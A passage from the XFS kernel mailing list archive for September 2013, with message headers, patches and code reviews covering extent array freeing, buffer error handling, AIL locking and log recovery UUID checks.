/xfs/test_$i 2>&1 >>/dev/null done echo 1 > /sys/kernel/debug/tracing/events/kmem/kmalloc/enable for ((i=0; i<4096; i++)) do xfs_io -c 'pwrite 8m 1' /xfs/test_$i 2>&1 >>/dev/null done cat /sys/kernel/debug/tracing/trace|grep kmalloc|wc -l # The number of kmalloc calls Default Patched 110364 103471 Thanks, -Jeff From jeff.liu@oracle.com Tue Sep 24 09:04:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9B8777F4E for ; Tue, 24 Sep 2013 09:04:42 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5F3738F8050 for ; Tue, 24 Sep 2013 07:04:39 -0700 (PDT) X-ASG-Debug-ID: 1380031477-04bdf02f2113cb8e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id vU4kENamFM42HCEN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Sep 2013 07:04:38 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8OE4ZpT007316 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 24 Sep 2013 14:04:36 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8OE4YMf008291 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 24 Sep 2013 14:04:34 GMT Received: from abhmt110.oracle.com (abhmt110.oracle.com [141.146.116.62]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8OE4XJ6026754; Tue, 24 Sep 2013 14:04:33 GMT Received: from [192.168.1.104] (/221.223.102.60) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Sep 2013 07:04:33 -0700 Message-ID: <52419C20.8040105@oracle.com> Date: Tue, 24 Sep 2013 22:05:20 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly References: <523C5E92.8000406@oracle.com> <20130923003617.GM12541@dastard> <523FCA18.1000204@oracle.com> <20130923235017.GX9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly In-Reply-To: <20130923235017.GX9901@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1380031478 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140884 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/24/2013 07:50 AM, Dave Chinner wrote: > On Mon, Sep 23, 2013 at 12:56:56PM +0800, Jeff Liu wrote: >> On 09/23/2013 08:36 AM, Dave Chinner wrote: >> >>> On Fri, Sep 20, 2013 at 10:41:22PM +0800, Jeff Liu wrote: >>>> From: Jie Liu >>>> >>>> To free the incore file extents stores at the indirection array, we >>>> call the common routine xfs_iext_irec_remove() to remove a record >>>> from the array one at a time in reverse order, which will resize an >>>> extent indirection array repeatedly according to the array size. >>>> >>>> This is not often the case to make a file with thousands extent records >>>> stores at an indirection array, but above operation is inefficient and >>>> could result in memory fragments. >>> >>> Yes, it may be inefficient, but I don't see that it's a contributor >>> to memory fragmentation as the reallocated buffer is freed shortly >>> after it has been allocated as the array shrinks. Do you have any >>> evidence to suggest that such behaviour is actually fragmenting >>> memory? If so, is the any test case that reproduces this problem? >> >> Ah, yes, it should not cause memory fragmentation. >> >> The benefits is that this change could save alloc/free buffers depending >> on the number of extents records are stored at indirection array. > > OK, can you send a new version with an updated commit message? Sure, will post it soon. Thanks, -Jeff From jeff.liu@oracle.com Tue Sep 24 09:05:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D03147F4E for ; Tue, 24 Sep 2013 09:05:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 537EEAC005 for ; Tue, 24 Sep 2013 07:05:22 -0700 (PDT) X-ASG-Debug-ID: 1380031517-04cb6c2e9d1380380001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id ETBM9oBWftsuWIph (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 24 Sep 2013 07:05:18 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8OE5G0l008368 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 24 Sep 2013 14:05:17 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8OE5GIV023850 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 24 Sep 2013 14:05:16 GMT Received: from abhmt119.oracle.com (abhmt119.oracle.com [141.146.116.71]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8OE5G79023835 for ; Tue, 24 Sep 2013 14:05:16 GMT Received: from [192.168.1.104] (/221.223.102.60) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 24 Sep 2013 07:05:15 -0700 Message-ID: <52419C4B.2020603@oracle.com> Date: Tue, 24 Sep 2013 22:06:03 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1380031518 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140884 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu To free the incore file extents stores at an indirection array, we call the common routine xfs_iext_irec_remove() to remove a record from the array one at a time in reverse order, which will resize an extent indirection array repeatedly according to the array size. This is inefficient for dealing with a file with thousands of incore extent records stores at indirection arrays. This patch improve this kind of things by freeing the extent records from the indirection array directly so that we can get benefits for reducing the overhead of alloc/free buffers which is depending on the number of extents records. Signed-off-by: Jie Liu --- v2: - revise the commit message, no memory fragments at all. fs/xfs/xfs_inode_fork.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 02f1083..ba70f98 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -1525,9 +1525,12 @@ xfs_iext_destroy( int nlists; nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { - xfs_iext_irec_remove(ifp, erp_idx); + for (erp_idx = 0; erp_idx < nlists; erp_idx++) { + xfs_ext_irec_t *erp = &ifp->if_u1.if_ext_irec[erp_idx]; + if (erp->er_extbuf) + kmem_free(erp->er_extbuf); } + kmem_free(ifp->if_u1.if_ext_irec); ifp->if_flags &= ~XFS_IFEXTIREC; } else if (ifp->if_real_bytes) { kmem_free(ifp->if_u1.if_extents); -- 1.7.9.5 From tinguely@sgi.com Tue Sep 24 10:32:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 84E517F50 for ; Tue, 24 Sep 2013 10:32:01 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 50EBA8F8065; Tue, 24 Sep 2013 08:31:58 -0700 (PDT) Message-ID: <5241B06E.1030306@sgi.com> Date: Tue, 24 Sep 2013 10:31:58 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-2-git-send-email-david@fromorbit.com> In-Reply-To: <1380002476-18839-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/24/13 01:01, Dave Chinner wrote: > From: Dave Chinner > > fsstress failed during a shutdown with the following assert: > > XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 > ..... > xfs_buf_stale+0x3f/0xf0 > xfs_bioerror_relse+0x2d/0x90 > xfsbdstrat+0x51/0xa0 > xfs_zero_remaining_bytes+0x1d1/0x2d0 > xfs_free_file_space+0x5d0/0x600 > xfs_change_file_space+0x251/0x3a0 > xfs_ioc_space+0xcc/0x130 > ..... > > xfs_zero_remaining_bytes() works with uncached buffers, and hence if > we are preventing IO due to a shutdown, we should not be marking it > stale as that is only for cached buffers. Instead, just mark it with > an error and make sure it gets to the caller. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From bpm@sgi.com Tue Sep 24 10:33:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 650C37F51 for ; Tue, 24 Sep 2013 10:33:27 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4DBB1304064; Tue, 24 Sep 2013 08:33:24 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 2730C4266DC; Tue, 24 Sep 2013 10:33:24 -0500 (CDT) Date: Tue, 24 Sep 2013 10:33:24 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20130924153324.GF1935@sgi.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380002476-18839-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Tue, Sep 24, 2013 at 04:01:12PM +1000, Dave Chinner wrote: > From: Dave Chinner > > fsstress failed during a shutdown with the following assert: > > XFS: Assertion failed: xfs_buf_islocked(bp), file: fs/xfs/xfs_buf.c, line: 143 > ..... > xfs_buf_stale+0x3f/0xf0 > xfs_bioerror_relse+0x2d/0x90 > xfsbdstrat+0x51/0xa0 Here you're showing an assert reported through an xfsbdstrat codepath... > xfs_zero_remaining_bytes+0x1d1/0x2d0 > xfs_free_file_space+0x5d0/0x600 > xfs_change_file_space+0x251/0x3a0 > xfs_ioc_space+0xcc/0x130 > ..... > > xfs_zero_remaining_bytes() works with uncached buffers, and hence if > we are preventing IO due to a shutdown, we should not be marking it > stale as that is only for cached buffers. Instead, just mark it with > an error and make sure it gets to the caller. > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_buf.c | 31 +++++++++++++++---------------- > 1 file changed, 15 insertions(+), 16 deletions(-) > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index 2634700..956685f 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -1093,25 +1093,20 @@ xfs_bioerror_relse( > struct xfs_buf *bp) > { > int64_t fl = bp->b_flags; > + > /* > - * No need to wait until the buffer is unpinned. > - * We aren't flushing it. > - * > - * chunkhold expects B_DONE to be set, whether > - * we actually finish the I/O or not. We don't want to > - * change that interface. > + * No need to wait until the buffer is unpinned. We aren't flushing it. > */ > XFS_BUF_UNREAD(bp); > XFS_BUF_DONE(bp); > xfs_buf_stale(bp); > bp->b_iodone = NULL; > + > + /* > + * There's no reason to mark error for ASYNC buffers as there is no-one > + * waiting to collect the error. > + */ > if (!(fl & XBF_ASYNC)) { > - /* > - * Mark b_error and B_ERROR _both_. > - * Lot's of chunkcache code assumes that. > - * There's no reason to mark error for > - * ASYNC buffers. > - */ > xfs_buf_ioerror(bp, EIO); > complete(&bp->b_iowait); > } else { > @@ -1128,11 +1123,15 @@ xfs_bdstrat_cb( > if (XFS_FORCED_SHUTDOWN(bp->b_target->bt_mount)) { > trace_xfs_bdstrat_shut(bp, _RET_IP_); > /* > - * Metadata write that didn't get logged but > - * written delayed anyway. These aren't associated > - * with a transaction, and can be ignored. > + * If this is a cached write, then it is likely to be a delayed > + * write metadata buffer that can be ignored because the > + * contents are logged. If it's an uncached buffer or a read > + * operation, then the caller will get the error through the > + * normal IO completion path. We can tell if the buffer is > + * cached or not by looking to see if the b_pag field is NULL or > + * not. > */ > - if (!bp->b_iodone && !XFS_BUF_ISREAD(bp)) > + if (!bp->b_iodone && !XFS_BUF_ISREAD(bp) && bp->b_pag) ...but it looks like your fix is in xfs_bdstrat_cb, which wouldn't have been involved in the stack you posted above. What am I missing? Thanks, Ben From tinguely@sgi.com Tue Sep 24 11:12:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9ABAE7F3F for ; Tue, 24 Sep 2013 11:12:37 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 773A18F8071; Tue, 24 Sep 2013 09:12:37 -0700 (PDT) Message-ID: <5241B9F5.2020500@sgi.com> Date: Tue, 24 Sep 2013 11:12:37 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs: lock the AIL before removing the buffer item References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-3-git-send-email-david@fromorbit.com> In-Reply-To: <1380002476-18839-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/24/13 01:01, Dave Chinner wrote: > From: Dave Chinner > > Regression introduced by commit 46f9d2e ("xfs: aborted buf items can > be in the AIL") which fails to lock the AIL before removing the > item. Spinlock debugging throws a warning about this. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Tue Sep 24 11:13:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 85AE77F4E for ; Tue, 24 Sep 2013 11:13:43 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 65AEF8F8087; Tue, 24 Sep 2013 09:13:43 -0700 (PDT) Message-ID: <5241BA37.3020507@sgi.com> Date: Tue, 24 Sep 2013 11:13:43 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 4/5] xfs: fix XFS_IOC_FREE_EOFBLOCKS definition References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-5-git-send-email-david@fromorbit.com> In-Reply-To: <1380002476-18839-5-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/24/13 01:01, Dave Chinner wrote: > From: Dave Chinner > > It uses a kernel internal structure in it's definition rather than > the user visible structure that is passed to the ioctl. > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From bpm@sgi.com Tue Sep 24 12:14:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7033C7F3F for ; Tue, 24 Sep 2013 12:14:49 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3DD3530405F; Tue, 24 Sep 2013 10:14:46 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 1986F4266DC; Tue, 24 Sep 2013 12:14:46 -0500 (CDT) Date: Tue, 24 Sep 2013 12:14:46 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 5/5] xfs: log recovery lsn ordering needs uuid check Message-ID: <20130924171446.GG1935@sgi.com> References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380002476-18839-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Sep 24, 2013 at 04:01:16PM +1000, Dave Chinner wrote: > From: Dave Chinner > > After a fair number of xfstests runs, xfs/182 started to fail > regularly with a corrupted directory - a directory read verifier was > failing after recovery because it found a block with a XARM magic > number (remote attribute block) rather than a directory data block. > > The first time I saw this repeated failure I did /something/ and the > problem went away, so I was never able to find the underlying > problem. Test xfs/182 failed again today, and I found the root > cause before I did /something else/ that made it go away. > > Tracing indicated that the block in question was being correctly > logged, the log was being flushed by sync, but the buffer was not > being written back before the shutdown occurred. Tracing also > indicated that log recovery was also reading the block, but then > never writing it before log recovery invalidated the cache, > indicating that it was not modified by log recovery. > > More detailed analysis of the corpse indicated that the filesystem > had a uuid of "a4131074-1872-4cac-9323-2229adbcb886" but the XARM > block had a uuid of "8f32f043-c3c9-e7f8-f947-4e7f989c05d3", which > indicated it was a block from an older filesystem. The reason that > log recovery didn't replay it was that the LSN in the XARM block was > larger than the LSN of the transaction being replayed, and so the > block was not overwritten by log recovery. > > Hence, log recovery cant blindly trust the magic number and LSN in > the block - it must verify that it belongs to the filesystem being > recovered before using the LSN. i.e. if the UUIDs don't match, we > need to unconditionally recovery the change held in the log. recover > This patch was first tested on a block device that was repeatedly > causing xfs/182 to fail with the same failure on the same block with > the same directory read corruption signature (i.e. XARM block). It > did not fail, and hasn't failed since. > > Signed-off-by: Dave Chinner Looks good to me. Reviewed-by: Ben Myers From tinguely@sgi.com Tue Sep 24 12:17:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 054CA7F3F for ; Tue, 24 Sep 2013 12:17:10 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id C7D5630405F; Tue, 24 Sep 2013 10:17:09 -0700 (PDT) Message-ID: <5241C915.4040106@sgi.com> Date: Tue, 24 Sep 2013 12:17:09 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] xfs: asserting lock not held during freeing not valid References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-4-git-send-email-david@fromorbit.com> In-Reply-To: <1380002476-18839-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/24/13 01:01, Dave Chinner wrote: > From: Dave Chinner > > When we free an inode, we do so via RCU. As an RCU lookup can occur > at any time before we free an inode, and that lookup takes the inode > flags lock, we cannot safely assert that the flags lock is not held > just before marking it dead and running call_rcu() to free the > inode. > > We check on allocation of a new inode structre that the lock is not > held, so we still have protection against locks being leaked and > hence not correctly initialised when allocated out of the slab. > Hence just remove the assert... > > Signed-off-by: Dave Chinner > --- Looks good. Reviewed-by: Mark Tinguely From tinguely@sgi.com Tue Sep 24 12:35:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C08129DFC for ; Tue, 24 Sep 2013 12:35:45 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id C52AD30405F; Tue, 24 Sep 2013 10:35:44 -0700 (PDT) Message-ID: <5241CD70.7050800@sgi.com> Date: Tue, 24 Sep 2013 12:35:44 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: stable@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfs: v2 fix node forward in xfs_node_toosmall References: <20130920220519.585903357@sgi.com> <20130923171911.273669684@sgi.com> <20130923234819.GW9901@dastard> In-Reply-To: <20130923234819.GW9901@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/23/13 18:48, Dave Chinner wrote: > On Mon, Sep 23, 2013 at 12:18:58PM -0500, Mark Tinguely wrote: >> Commit f5ea1100 cleans up the disk to host conversions for >> node directory entries, but because a variable is reused in >> xfs_node_toosmall() the next node is not correctly found. >> If the original node is small enough (<= 3/8 of the node size), >> this change may incorrectly cause a node collapse when it should >> not. > > The comment about the size of the node triggering a collapse is > irrelevant - nodes always collapse at that given size. What this > doesn't tell us is why the crash occurs - "the next node is not > correctly found" is not particularly obvious, and would require > quite a bit of code reading to work out from first principles a > couple of years down the track. > > The commit message should be more precise and describe what the > underlying cause of the failure was. i.e. that the node is finding itself as the merge > candidate because we go forward, overwrite the pointers and the new > block's backward sibling is the original block which is where we end > up on teh second loop. And vice versa if we go backwards first... > > Also, the "next node" is correctly termed a "sibling", and it's > either the forwards or backwards sibling, not the "next" sibling as > the direction of movement is important. So perhaps this > is better written as: > > "When a node is considered for a merge with a sibling, it overwrites > the sibling pointers of the original node with the sibling's > pointers. This leads to loop considering the original node as a > merge candidate with itself in the second pass, and so it > incorrectly determines a merge should occur." > Are you done ranting? Get the @#$% bug patched. --Mark. From tinguely@sgi.com Tue Sep 24 12:41:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B692929DFC for ; Tue, 24 Sep 2013 12:41:57 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 863768F8073; Tue, 24 Sep 2013 10:41:54 -0700 (PDT) Message-ID: <5241CEE2.5040607@sgi.com> Date: Tue, 24 Sep 2013 12:41:54 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> <52404D7F.1080308@sgi.com> <20130924004803.GZ9901@dastard> In-Reply-To: <20130924004803.GZ9901@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/23/13 19:48, Dave Chinner wrote: > On Mon, Sep 23, 2013 at 09:17:35AM -0500, Mark Tinguely wrote: >> On 09/08/13 20:33, Dave Chinner wrote: >>> From: Dave Chinner >>> >>> CPU overhead of buffer lookups dominate most metadata intensive >>> workloads. The thing is, most such workloads are hitting a >>> relatively small number of buffers repeatedly, and so caching >>> recently hit buffers is a good idea. >>> >> ... >> >> I think this needs more testing. > > Yes, that's what an "RFC" implies. It's an idea, it's not > fully baked and it's not ready for inclusion - it's a proof of > concept that needs further work, and I't being posted for discussion > to determine if it's worth pursuing further. > > Indeed, I haven't proposed it for inclusion yet because I'm > still finding problems caused by the patch - it's still just a > prototype at this point. > >> I got the same panic running xfstest 319 with the patch at: >> http://oss.sgi.com/archives/xfs/2013-09/msg00578.html >> once it hung on a xfs_buf lock before the panic. >> >> And these are the only tests that I threw at this patch. > > Sure. The version I have in my stack at the moment has some more > ixes in it, like handling of length mismatches due to stale buffers > on lookaside lookups, and other such things. > > i.e. early feedback on prototype code is exactly what [RFC] patches > are for... And early feedback is that it has potential but needs more work. --Mark. From bpm@sgi.com Tue Sep 24 12:46:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 